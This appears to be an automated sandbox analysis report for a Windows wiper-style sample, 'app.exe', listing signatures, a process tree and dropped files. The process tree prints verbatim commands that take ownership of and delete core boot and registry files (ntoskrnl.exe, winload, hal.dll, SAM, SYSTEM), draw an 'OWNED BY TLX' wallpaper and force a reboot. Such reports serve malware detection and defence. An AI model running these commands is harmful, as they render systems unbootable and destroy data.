Analysis

  • max time kernel
    47s
  • max time network
    72s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/07/2026, 23:38

Errors

Reason
Machine shutdown

General

  • Target
    app.exe
  • Size 305KB
  • Sample260703-3msxdahs3v
  • SHA256 2e228d4b8a75c195b0bafbb84e0dfd3528f42af321c058f2d121bbecccf713a3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Modifies file permissions 1 TTPs 30 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops desktop.ini file(s) 64 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Sets desktop wallpaper using registry 2 TTPs 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Modifies registry class 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\app.exe
    "C:\Users\Admin\AppData\Local\Temp\app.exe"
    1⤵
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:3472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& { Add-Type -AssemblyName System.Drawing; $img = New-Object System.Drawing.Bitmap 1920,1080; $gfx = [System.Drawing.Graphics]::FromImage($img); $gfx.Clear([System.Drawing.Color]::Black); $font = New-Object System.Drawing.Font('Arial', 72, [System.Drawing.FontStyle]::Bold); $brush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::Red); $gfx.DrawString('OWNED BY TLX', $font, $brush, 200, 400); $gfx.DrawString('YOUR SYSTEM IS GONE', $font, $brush, 100, 550); $img.Save('C:\Windows\Temp\tlx_wall.bmp'); } "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5404
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\ntoskrnl.exe" && icacls "C:\Windows\System32\ntoskrnl.exe" /grant administrators:F /t && del /f /q "C:\Windows\System32\ntoskrnl.exe"
      2⤵
      • Modifies file permissions
      PID:14788
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\winload.exe" && icacls "C:\Windows\System32\winload.exe" /grant administrators:F /t && del /f /q "C:\Windows\System32\winload.exe"
      2⤵
      • Modifies file permissions
      PID:14956
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\winload.efi" && icacls "C:\Windows\System32\winload.efi" /grant administrators:F /t && del /f /q "C:\Windows\System32\winload.efi"
      2⤵
      • Modifies file permissions
      PID:15056
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll" && icacls "C:\Windows\System32\hal.dll" /grant administrators:F /t && del /f /q "C:\Windows\System32\hal.dll"
      2⤵
      • Modifies file permissions
      PID:15204
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\drivers\ntfs.sys" && icacls "C:\Windows\System32\drivers\ntfs.sys" /grant administrators:F /t && del /f /q "C:\Windows\System32\drivers\ntfs.sys"
      2⤵
      • Modifies file permissions
      PID:15336
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\config\SYSTEM" && icacls "C:\Windows\System32\config\SYSTEM" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SYSTEM"
      2⤵
      • Modifies file permissions
      PID:3208
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\config\SOFTWARE" && icacls "C:\Windows\System32\config\SOFTWARE" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SOFTWARE"
      2⤵
      • Modifies file permissions
      PID:1432
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\config\SAM" && icacls "C:\Windows\System32\config\SAM" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SAM"
      2⤵
      • Modifies file permissions
      PID:15504
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\config\SECURITY" && icacls "C:\Windows\System32\config\SECURITY" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SECURITY"
      2⤵
      • Modifies file permissions
      PID:15772
    • C:\Windows\SYSTEM32\takeown.exe
      takeown /f "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb" && icacls "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb" /grant administrators:F /t && del /f /q "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb"
      2⤵
      • Modifies file permissions
      PID:16288
  • C:\Users\Admin\AppData\Local\Temp\app.exe
    C:\Users\Admin\AppData\Local\Temp\app.exe
    1⤵
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& { Add-Type -AssemblyName System.Drawing; $img = New-Object System.Drawing.Bitmap 1920,1080; $gfx = [System.Drawing.Graphics]::FromImage($img); $gfx.Clear([System.Drawing.Color]::Black); $font = New-Object System.Drawing.Font('Arial', 72, [System.Drawing.FontStyle]::Bold); $brush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::Red); $gfx.DrawString('OWNED BY TLX', $font, $brush, 200, 400); $gfx.DrawString('YOUR SYSTEM IS GONE', $font, $brush, 100, 550); $img.Save('C:\Windows\Temp\tlx_wall.bmp'); } "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:7436
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\ntoskrnl.exe" && icacls "C:\Windows\System32\ntoskrnl.exe" /grant administrators:F /t && del /f /q "C:\Windows\System32\ntoskrnl.exe"
      2⤵
      • Modifies file permissions
      PID:14680
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\winload.exe" && icacls "C:\Windows\System32\winload.exe" /grant administrators:F /t && del /f /q "C:\Windows\System32\winload.exe"
      2⤵
      • Modifies file permissions
      PID:14916
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\winload.efi" && icacls "C:\Windows\System32\winload.efi" /grant administrators:F /t && del /f /q "C:\Windows\System32\winload.efi"
      2⤵
      • Modifies file permissions
      PID:15048
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll" && icacls "C:\Windows\System32\hal.dll" /grant administrators:F /t && del /f /q "C:\Windows\System32\hal.dll"
      2⤵
      • Modifies file permissions
      PID:15176
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\drivers\ntfs.sys" && icacls "C:\Windows\System32\drivers\ntfs.sys" /grant administrators:F /t && del /f /q "C:\Windows\System32\drivers\ntfs.sys"
      2⤵
      • Modifies file permissions
      PID:200
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SYSTEM" && icacls "C:\Windows\System32\config\SYSTEM" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SYSTEM"
      2⤵
      • Modifies file permissions
      PID:3576
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SOFTWARE" && icacls "C:\Windows\System32\config\SOFTWARE" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SOFTWARE"
      2⤵
      • Modifies file permissions
      PID:4988
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SAM" && icacls "C:\Windows\System32\config\SAM" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SAM"
      2⤵
      • Modifies file permissions
      PID:3480
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SECURITY" && icacls "C:\Windows\System32\config\SECURITY" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SECURITY"
      2⤵
      • Modifies file permissions
      PID:15416
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb" && icacls "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb" /grant administrators:F /t && del /f /q "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb"
      2⤵
      • Modifies file permissions
      PID:15756
  • C:\Users\Admin\AppData\Local\Temp\app.exe
    "C:\Users\Admin\AppData\Local\Temp\app.exe" --persist
    1⤵
    • Drops desktop.ini file(s)
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& { Add-Type -AssemblyName System.Drawing; $img = New-Object System.Drawing.Bitmap 1920,1080; $gfx = [System.Drawing.Graphics]::FromImage($img); $gfx.Clear([System.Drawing.Color]::Black); $font = New-Object System.Drawing.Font('Arial', 72, [System.Drawing.FontStyle]::Bold); $brush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::Red); $gfx.DrawString('OWNED BY TLX', $font, $brush, 200, 400); $gfx.DrawString('YOUR SYSTEM IS GONE', $font, $brush, 100, 550); $img.Save('C:\Windows\Temp\tlx_wall.bmp'); } "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5732
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\ntoskrnl.exe" && icacls "C:\Windows\System32\ntoskrnl.exe" /grant administrators:F /t && del /f /q "C:\Windows\System32\ntoskrnl.exe"
      2⤵
      • Modifies file permissions
      PID:14672
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\winload.exe" && icacls "C:\Windows\System32\winload.exe" /grant administrators:F /t && del /f /q "C:\Windows\System32\winload.exe"
      2⤵
      • Modifies file permissions
      PID:14816
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\winload.efi" && icacls "C:\Windows\System32\winload.efi" /grant administrators:F /t && del /f /q "C:\Windows\System32\winload.efi"
      2⤵
      • Modifies file permissions
      PID:14972
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll" && icacls "C:\Windows\System32\hal.dll" /grant administrators:F /t && del /f /q "C:\Windows\System32\hal.dll"
      2⤵
      • Modifies file permissions
      PID:15040
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\drivers\ntfs.sys" && icacls "C:\Windows\System32\drivers\ntfs.sys" /grant administrators:F /t && del /f /q "C:\Windows\System32\drivers\ntfs.sys"
      2⤵
      • Modifies file permissions
      PID:15160
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SYSTEM" && icacls "C:\Windows\System32\config\SYSTEM" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SYSTEM"
      2⤵
      • Modifies file permissions
      PID:17328
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SOFTWARE" && icacls "C:\Windows\System32\config\SOFTWARE" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SOFTWARE"
      2⤵
      • Modifies file permissions
      PID:476
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SAM" && icacls "C:\Windows\System32\config\SAM" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SAM"
      2⤵
      • Modifies file permissions
      PID:5512
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\config\SECURITY" && icacls "C:\Windows\System32\config\SECURITY" /grant administrators:F /t && del /f /q "C:\Windows\System32\config\SECURITY"
      2⤵
      • Modifies file permissions
      PID:924
    • C:\Windows\System32\takeown.exe
      takeown /f "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb" && icacls "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb" /grant administrators:F /t && del /f /q "C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb"
      2⤵
      • Modifies file permissions
      PID:15552
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c shutdown /r /f /t 0
      2⤵
        PID:1940
        • C:\Windows\System32\shutdown.exe
          shutdown /r /f /t 0
          3⤵
            PID:1280
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:14536
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1756
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
          PID:15764
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
            PID:15836
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa39c7855 /state1:0x41c64e6d
            1⤵
              PID:6384
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k GPSvcGroup
              1⤵
                PID:5592
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k CameraMonitor
                1⤵
                  PID:3704

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      desktop.ini

                      • Path C:\$Recycle.Bin\S-1-5-21-1991999443-3181470666-3272020885-1000\desktop.ini
                      • Size 567B
                      • SHA256 6df975754e36341f23e98cee4ea7333f6c5ae13a445482a40771f401272389ea
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\ui-strings.js
                      • Size 3KB
                      • SHA256 ca71e6b8423cac5e9b40a283791c49f0d6453d70cfb374567bbdd2463615cff4
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\ui-strings.js
                      • Size 4KB
                      • SHA256 bfb9ba79bff1ce90362fcb5b585bcb7054e767782f19b4ec79deea2153b61b4a
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ui-strings.js
                      • Size 1KB
                      • SHA256 9670dcfd03114a713031d15e0d77ee3964c9ff95c6a2c06a1c5b71e8702f7678
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js
                      • Size 28KB
                      • SHA256 45998df9c4bf3ec87ff3c2c2b0b5af6052a7f8525626f1dbb36c8ef93d1e28af
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js
                      • Size 33KB
                      • SHA256 984307d09105783bf9d3db6bd4a5793e5a08363649d1d4dbfd7c8789da2d0283
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-il\ui-strings.js
                      • Size 8KB
                      • SHA256 996740a003c2d73810e67aa02b8c4b776804b42485d9bd7532f8495569de1aed
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\ui-strings.js
                      • Size 9KB
                      • SHA256 6aa1838d41a64d398c8e08cd8082cc78b0f9b8baa6a5505dc1cf6080a983195b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ar-ae\ui-strings.js
                      • Size 1KB
                      • SHA256 ee887ef55d70bd885fb4aa3dc4527a1aa5ddeb5034de9272f8ccda0a554605fe
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-il\ui-strings.js
                      • Size 4KB
                      • SHA256 7c52a97539f2effbd911de659b00f608225131ab0c1d3d8e41445707d4a49d61
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-fr\ui-strings.js
                      • Size 5KB
                      • SHA256 566bca7ced17f8e7d0597a96259a9570c004b3f767c6aa616596456d8aa78cec
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\ui-strings.js
                      • Size 2KB
                      • SHA256 d3ecf8cc10e5fc0dc616aa38de9a72c7790e426ff3403c189ad520a9c11126ef
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\ui-strings.js
                      • Size 2KB
                      • SHA256 7f3098bdf946701e1a0eae8b7e1d19637fd59ae2979eff0845ecea62148b883e
                      • MD5 SHA1 SHA512 TLSH

                      convertpdf-selector.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js
                      • Size 174KB
                      • SHA256 6e4b38752205cb922936793dc6d3a138ead2fe785db37ceadd40950581389c33
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      convertpdf-tool-view.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js
                      • Size 374KB
                      • SHA256 d05c1856c6811a1000456ea6ac24ea145910a8cbaf1812eba74c5e2006623b99
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-il\ui-strings.js
                      • Size 3KB
                      • SHA256 91759a481d104e6d035549384299faa00744a7e890f134d52a03e425690fa0b2
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\ui-strings.js
                      • Size 1KB
                      • SHA256 a437eedec2a20701fd87958c03565c338cebf5cce4acd0d5ffa2d15066599d89
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\ui-strings.js
                      • Size 1KB
                      • SHA256 007032c49df05785bc7973bcfb66de264982641b395d9cf6f5c1fe73b6961b6d
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\ui-strings.js
                      • Size 1KB
                      • SHA256 63f62ddb5db7597df09e26495de82fa9b974f335166dea7e994dbecb959a448c
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-il\ui-strings.js
                      • Size 9KB
                      • SHA256 f9ef35ea493e388495e5cd69d8db66ad696efd87c2a5b9254898aa040942bcde
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js
                      • Size 11KB
                      • SHA256 94c9b6946c62cb748c72a050fff28b563c2b48866a1a51896a7517d3e6cc9d01
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js
                      • Size 1KB
                      • SHA256 2425837495c08eb296a8ecd2b835f151c1f2aa1c47dfd6328e354df946e7870b
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-ae\ui-strings.js
                      • Size 1KB
                      • SHA256 7ca993d0c8cba5c686cb48a9db7efd291cf5e50c4e66f06dff5bf9985f0eb039
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\ui-strings.js
                      • Size 1KB
                      • SHA256 75260f64b4707fbad00475d63351a67e0db1f130e97b9c056a74c643983379b9
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js
                      • Size 1KB
                      • SHA256 4ecfd684010f883bfa4fc143da859834975adbc8b73e67a7b47e109c6fcfda9d
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\ui-strings.js
                      • Size 1KB
                      • SHA256 82a352893aa046ef537e813730d4ac1b82a7877ef2ee39f89d2e896ffb37bd18
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-il\ui-strings.js
                      • Size 5KB
                      • SHA256 cfe4411b0f79b05e149a97d80e2c90b223f22864ce9d8130c5aded477a1bd975
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\ui-strings.js
                      • Size 5KB
                      • SHA256 3e5c3b89cebe754c4490a6e22c8dd66583eab7630b4d4bcf2b00e4edc48e8278
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      plugin.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\plugin.js
                      • Size 46KB
                      • SHA256 2aca05fd0c7e889b4d3faca77ce3c4fec76c2fd46f30723429faec710d0c0ab1
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\ui-strings.js
                      • Size 13KB
                      • SHA256 c2367f9a9fbd97af90c41430234340166395c82d7d496e80e988270b3f651541
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\ui-strings.js
                      • Size 16KB
                      • SHA256 d07623f1019f7599945c970f171d08e1b14684c368d900c841163bda13ed6ea9
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      main.css

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\css\main.css
                      • Size 54KB
                      • SHA256 fc773e2ae985fd0b8611ea9e120eff6058c8c6c65abf73c83e9dfb20758c5a17
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-il\ui-strings.js
                      • Size 14KB
                      • SHA256 1acc8949d4bc313999c6cef73eb9e7813dc35ea065327459d14274b9ed4ef77b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-fr\ui-strings.js
                      • Size 17KB
                      • SHA256 b202a68e06e424d9db6634ed8d0d6d9e34e60203000fa33f5ce79ecd37e7ea29
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      plugin.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\plugin.js
                      • Size 237KB
                      • SHA256 2acdb0ef828aeec208ff2739185624f8c0f5c76809303a34918a9789665f36e8
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      main.css

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\css\main.css
                      • Size 1KB
                      • SHA256 a4543c91a89e196da477a8a9a0726d7feed7c16749e46c88283d500d4f6a4400
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ui-strings.js
                      • Size 1KB
                      • SHA256 87f7e832c274c4083aa8590e86d7c88079105699f3878616dce7950e1623e631
                      • MD5 SHA1 SHA512 TLSH

                      main-selector.css

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css
                      • Size 1KB
                      • SHA256 952d4b021d77354cb542cac561fd24fefa140f9721730d82838cdd7040718362
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-il\ui-strings.js
                      • Size 8KB
                      • SHA256 20f25b6f7a5103667e2d55b772a1dfc0993297762e9c98584d6318f59f71447c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-fr\ui-strings.js
                      • Size 10KB
                      • SHA256 d213c28457ae3fb453464eb467e932388f66a668219c06b1ca2c4f49320e98c9
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      main-selector.css

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\css\main-selector.css
                      • Size 1KB
                      • SHA256 4c017285db8de895594ac059c3485da5e8cbe63effc612792324d8c9eed3cbf7
                      • MD5 SHA1 SHA512 TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\en-gb\ui-strings.js
                      • Size 10KB
                      • SHA256 aa6da2d19156b7e6f990e686780b9b2092f27a3f6f62aff1b2e6afa9aeca5d02
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\en-il\ui-strings.js
                      • Size 14KB
                      • SHA256 fa27c0f99b37f88577c8fb73f3cdc18d6bad2e20a1b849b5ec7c4da5d419c2ee
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ui-strings.js

                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\fr-fr\ui-strings.js
                      • Size 16KB
